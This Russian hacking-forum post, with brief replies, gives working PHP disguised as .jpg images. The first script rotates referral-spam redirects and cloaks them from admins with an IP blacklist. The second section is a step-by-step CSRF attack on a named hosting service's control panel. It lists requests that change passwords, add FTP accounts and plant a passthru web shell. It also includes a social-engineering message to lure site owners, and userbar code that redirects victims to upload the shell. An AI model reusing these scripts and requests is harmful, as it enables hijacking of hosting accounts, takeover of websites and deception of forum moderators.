Реф.ссылки в картинках + клоакинг | CSRF через IMG на примере хостинга jino.ru ============================== Реф.ссылки в картинках + клоакинг В прошлом месяце я ради интереса реализовал ротацию изображений через бб-код IMG. Пример: При каждом обновлении страницы изображение меняется. Сегодня увидел этот пост: https://forum.antichat.ru/showpost.php?p=2650247&postcount=1818 Он натолкнул на интересную мысль. Совместил его способ со своей ротацией изображений, немного доработал и вот что получилось: test.jpg PHP: <?php $def_images = array( 'images/default.jpg', 'images/admin.jpg', 'images/moderator.jpg' ); $all_links = array( 'http://refsite1.com/?id=123', 'http://refsite2.com/?id=456', 'http://refsite3.com/?id=789' ); $allowed_referers = array( 'antichat.ru', 'antichat.net', ); $repeat = false; $ip = ip2long($_SERVER['REMOTE_ADDR']); $disabled = true; if(isset($_SERVER['HTTP_REFERER'])) { $referer = $_SERVER['HTTP_REFERER']; for($i = 0; $i < count($allowed_referers) ; $i++) { if(stripos($referer, $allowed_referers[$i]) !== false) { $disabled = false; break; } } } if($disabled) { header("Content-type: image/jpeg"); $im = imagecreatefromjpeg($def_images[0]); imagejpeg($im); imagedestroy($im); die(); } include('db.php'); $result = mysql_query("SELECT * FROM `black` WHERE `ip` = $ip"); if(mysql_num_rows($result)) { $row = mysql_fetch_assoc($result); $type = (int) $row['type']; if($type >= count($def_images)) $type = 0; header("Content-type: image/jpeg"); $im = imagecreatefromjpeg($def_images[$type]); imagejpeg($im); imagedestroy($im); die(); } $result = mysql_query("SELECT * FROM `links` WHERE `ip` = $ip"); if(mysql_num_rows($result)) { $row = mysql_fetch_assoc($result); $link_num = (int) $row['link_num']; if($link_num < count($all_links) - 1) { $link_num++; } else if($repeat) { $link_num = 0; } else { header("Content-type: image/jpeg"); $im = imagecreatefromjpeg($def_images[0]); imagejpeg($im); imagedestroy($im); die(); } mysql_query("UPDATE `links` SET `link_num` = $link_num WHERE `ip` = $ip"); } else { $link_num = 0; mysql_query("INSERT INTO `links` VALUES (NULL, $ip, 0)"); } $link = $all_links[$link_num]; if(stripos($link, 'http:') !== false) { header("Location: $link"); } else { header("Content-type: image/jpeg"); $im = imagecreatefromjpeg($link); imagejpeg($im); imagedestroy($im); } die(); ?> При каждом обновлении страницы сайта с этой "картинкой" (с одного IP-адреса), поочереди происходит переход по ссылкам из массива all_links. Вместо ссылок можно также указывать путь к jpeg-файлам. Переход по ссылкам осуществляется только если "картинка" загружается со страниц, в адресе которых содержится текст из массива allowed_referers, в других случаях отображается файл 'images/default.jpg' Если repeat включен, ссылки после окончания списка будут прокручиваться заново. Если repeat выключен, после окончания списка будет отображаться файл 'images/default.jpg'. Чтобы было меньше проблем, используется клоакинг - блэк-лист IP-адресов с возможностью разделения по группам и выдачи отдельной картинки на каждую группу. Для того, чтобы добавить админа в блэк, достаточно отправить ему в личку сообщение с картинкой, приведенной ниже: adm.jpg PHP: <?php $ip = ip2long($_SERVER['REMOTE_ADDR']); include('db.php'); $result = mysql_query("SELECT * FROM `black` WHERE `ip` = $ip"); if(!mysql_num_rows($result)) mysql_query("INSERT INTO `black` VALUES (NULL, $ip, 1)"); header("Content-type: image/jpeg"); $im = imagecreatefromjpeg('images/admin.jpg'); imagejpeg($im); imagedestroy($im); die(); ?> Дополнения: .htaccess PHP: <FilesMatch "^(test|adm)\.jpg$"> AddType application/x-httpd-php .jpg </FilesMatch> db.php PHP: <?php mysql_connect('localhost', 'user', 'password'); mysql_select_db('dbname'); ?> таблицы PHP: CREATE TABLE IF NOT EXISTS `links` ( `id` int(4) NOT NULL auto_increment, `ip` int(4) NOT NULL, `link_num` int(4) NOT NULL, PRIMARY KEY (`id`) ); CREATE TABLE IF NOT EXISTS `black` ( `id` int(4) NOT NULL auto_increment, `ip` int(4) NOT NULL, `type` int(4) NOT NULL, PRIMARY KEY (`id`) ); Ниже вставлена "картинка", код которой написан в теме. Первые 3 обновления страницы - переход по ссылкам, потом появится изображение: Чтобы увидеть, что отображается у людей из блэк-листа, нужно перейти по ссылке и обновить эту страницу. ===================================== CSRF через IMG на примере хостинга jino.ru Продолжу тему редиректов в картинках. Кроме реф.ссылок их можно использовать для проведения CSRF-атак. Для примера возьмем известный хостинг jino.ru. Несмотря на популярность этого хостинга, опасных CSRF-уязвимостей на нем много. Панель управления хостинга находится на портах 8080(http) и 8443(https) всех сайтов, прикрепленных к аккаунту. На всех аккаунтах по-умолчанию есть домен login.jino.ru. В примерах запросов буду писать только список параметров и значений. Все запросы нормально работают с методами GET и POST (не забывайте про URL Encode) Изменение пароля area=services_chpassword do=services_chpassword oldhint= password=newpass password2=newpass Добавление FTP-аккаунта (при создании аккаунта к FTP-логину добавляется префикс "login_") area=management_ftpaccounts do=management_ftpaccountadd ftp_login=ftplogin dir=/ password=pass password2=pass Изменение пароля FTP-аккаунта area=management_ftpaccountedit do=management_ftpaccountchpass login=ftplogin old_login=ftplogin dir=/ password=newpass password2=newpass Изменение настроек веб-сервера (в запросе настройки с префиксом "default_" - обязательные, с префиксом "d_" - редактируемые) area=management_htsettings do=management_htaccesssave default_AddDefaultCharset=cp1251 default_allow_call_time_pass_reference=1 default_display_errors=1 default_magic_quotes_gpc=0 default_magic_quotes_runtime=0 default_open_basedir=1 default_output_buffering=1 default_post_max_size=15M default_register_globals=0 default_upload_max_filesize=8M d_AddDefaultCharset=cp1251 d_allow_call_time_pass_reference=1 d_display_errors=1 d_magic_quotes_gpc=0 d_magic_quotes_runtime=0 d_open_basedir=1 d_output_buffering=1 d_post_max_size=15M d_register_globals=0 d_upload_max_filesize=8M На любой сайт, прикрепленный к аккаунту, можно загрузить любой текстовый файл за два запроса. Создание файла area=filemanager_main do=filemanager_createfile path=/domains/testsite.ru filename=test.php Изменение файла do=filemanager_savefile area=filemanager_editor path=/domains/testsite.ru/test.php contents=<?php passthru($_GET['c']); ?> charset=UTF-8 linebreaks=UNIX Так как все перечисленные запросы работают через GET, их можно спрятать в картинке и разместить на форуме (или отправить по электронной почте). Электронная почта менее эффективна, потому что многие знают об опасности чтения писем, полученных от незнакомых адресов, и не открывают их. О том, что чтение ЛС на форуме может быть опасно, не знает почти никто. Один из вариантов CSRF-атаки через IMG: В подпись ставится юзербар (userbar.jpg). Вместо подписи можно отправить картинку в ЛС, но при ответе ссылка будет видна в цитировании и это вызовет подозрения. Активная сессия сохраняется недолго, поэтому нужно заставить владельца сайта авторизоваться в панели управления. Тут потребуется немного СИ. Пример сообщения в ЛС Привет. Я знаю, что ты тоже пользуешься хостингом на jino. Сегодня заметил странный баг. Когда захожу в панель через сайт jino.ru, все нормально, а через mysite:8080 баланс отображается намного больше реального: [нарисованный скрин] Можешь проверить, у тебя так же или проблема в моем аккаунте? Попробуй зайти в панель через jino.ru, а потом через targetsite:8080При просмотре скрина (screen.jpg), CSRF в юзербаре активируется на IP-адрес владельца сайта. После того, как будет получен ответ, подтверждающий авторизацию в панели управления, для заливки шелла достаточно отправить владельцу сайта еще два любых сообщения в ЛС. Файлы: .htaccess PHP: <FilesMatch "^(screen|userbar)\.jpg$"> AddType application/x-httpd-php .jpg </FilesMatch> screen.jpg PHP: <?php if(!file_exists('ip_9b1dc96079.txt')) file_put_contents('ip_9b1dc96079.txt', $_SERVER['REMOTE_ADDR']); header("Content-type: image/jpeg"); $im = imagecreatefromjpeg('real_screen.jpg'); imagejpeg($im); imagedestroy($im); die(); ?> userbar.jpg PHP: <?php $site = 'sitename.ru'; $file = '149adb4c6a.php'; $forum = 'forumname.ru'; if( ($_SERVER['REMOTE_ADDR'] == file_get_contents('ip_9b1dc96079.txt')) && (stripos($_SERVER['HTTP_REFERER'], $forum) !== false)) { switch((int)file_get_contents('show_149c6c34cc.txt')) { case 0: file_put_contents('show_149c6c34cc.txt', 1); header("Location: http://$site:8080/?area=filemanager_main&do=filemanager_upload&path=%2Fdomains%2F$site&num_files=1&upload_file1=$file"); die(); case 1: file_put_contents('show_149c6c34cc.txt', 2); header("Location: http://$site:8080/?do=filemanager_savefile&area=filemanager_editor&path=%2Fdomains%2F$site%2F$file&contents=%3C%3Fphp%20passthru%28%24%5FGET%5B%27c%27%5D%29%3B%20%3F%3E&charset=UTF-8&linebreaks=UNIX"); die(); } } header("Content-type: image/jpeg"); $im = imagecreatefromjpeg('real_userbar.jpg'); imagejpeg($im); imagedestroy($im); die(); ?> CSRF+IMG на примере хостинга jino.ru (видео) .
Проверил в хроме 11. Битая картинка только при редиректах, после 3х обновлений картинка отображается нормально.
я как раз вчера думал, как можно создать динамическую аватарку мысли были, а реализoвать пока не был готов M_script как всегда... +++++